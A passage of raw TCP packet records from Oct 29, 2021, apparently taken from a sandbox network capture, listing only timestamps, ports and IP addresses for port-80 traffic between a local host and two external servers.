Oct 29, 2021 20:30:02.692665100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692671061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692682028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692698956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692717075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692718029 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692737103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692745924 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692755938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692770958 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692774057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692790985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692812920 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692838907 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697256088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697314024 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697355986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697407961 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697444916 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697482109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697510004 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697510004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697536945 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697561026 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697565079 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697585106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697607040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697608948 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697633028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697644949 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697658062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697680950 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697704077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697705984 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697722912 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697746038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697758913 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.697771072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.697839975 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.715452909 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.718517065 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718677044 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718698025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718709946 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718725920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718741894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718756914 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718770027 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.718781948 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.719058990 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.722564936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.722965002 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.735233068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.735263109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.735367060 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.739769936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.739813089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.739878893 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.739911079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.739929914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.739973068 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.749018908 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.749044895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.749057055 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.749064922 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.749214888 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.751981974 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752036095 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752043962 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752065897 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752089024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752104044 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752118111 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.752187967 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.752237082 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.759567022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759594917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759613037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759638071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759663105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759689093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759692907 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759710073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759725094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759738922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759757996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759763956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759789944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759802103 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759814978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759838104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759841919 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759864092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759881973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759884119 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759898901 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759906054 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759922981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759938002 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759951115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759959936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759978056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.759984970 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.759996891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.760014057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.760014057 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.760031939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.760055065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.760059118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.760062933 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.760087013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.760123014 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.764617920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764657021 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764684916 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764708042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764725924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764744043 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764760017 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764760017 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.764780998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764791012 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.764810085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764827967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764836073 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.764862061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764885902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764906883 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.764910936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.764934063 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.777149916 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.777179003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.777195930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.777211905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.777344942 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.777374029 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.789716005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.789745092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.789804935 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.794033051 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.802349091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.802388906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.802491903 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.806468964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.806499004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.806566000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.806724072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.806749105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.806799889 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.826728106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826754093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826771021 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826787949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826802969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826833010 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826849937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826853991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.826867104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826879025 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.826909065 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.826911926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826940060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.826967955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827009916 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827027082 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827044964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827061892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827069998 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827080011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827095985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827095985 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827112913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827128887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827141047 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827145100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827162981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827172041 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827178955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827195883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827203035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827214003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827229977 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.827239990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.827267885 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.830493927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830504894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830529928 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830548048 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830564022 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830583096 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830585957 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.830605030 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830617905 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830631018 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830632925 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.830643892 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.830667019 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.830697060 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.831432104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831521988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831547976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831564903 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831589937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831605911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831608057 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.831619978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831636906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.831655979 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.831717968 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.832545042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832576036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832596064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832609892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832631111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832650900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.832652092 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.832712889 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.832720041 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.844492912 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.844526052 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.844544888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.844562054 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.844645023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.844676018 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.856354952 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.856379986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.856452942 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.865339994 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865375042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865401983 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865418911 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865442991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865453005 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.865466118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865484953 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.865529060 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.865547895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865577936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865607977 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.865688086 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.865875959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.867211103 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.869787931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.869817972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.869889975 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.873444080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.873472929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.873496056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.873521090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.873559952 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.873590946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.894732952 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894798040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894824028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894853115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894885063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894893885 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.894912004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894938946 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894944906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.894967079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.894993067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895011902 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895015955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895042896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895046949 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895067930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895068884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895093918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895113945 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895123005 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895138979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895157099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895159960 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895178080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895204067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895220995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895224094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895243883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895263910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895272970 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895283937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895296097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895302057 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895308971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.895342112 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.895399094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.898082018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.898119926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.898226023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.898251057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.898277044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.898299932 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.898334980 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.898411989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899002075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899075031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899089098 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.899095058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899112940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899136066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899153948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.899156094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.899188042 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.899224997 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911422014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911464930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911492109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911520958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911552906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911586046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911612988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911628962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911633968 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911647081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911664963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911693096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911703110 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911719084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911740065 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911741018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911758900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911781073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911798954 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911804914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911825895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911844015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.911853075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.911989927 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.912003040 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.918986082 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919019938 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.919043064 CEST	80	49846	91.219.236.97	192.168.2.3
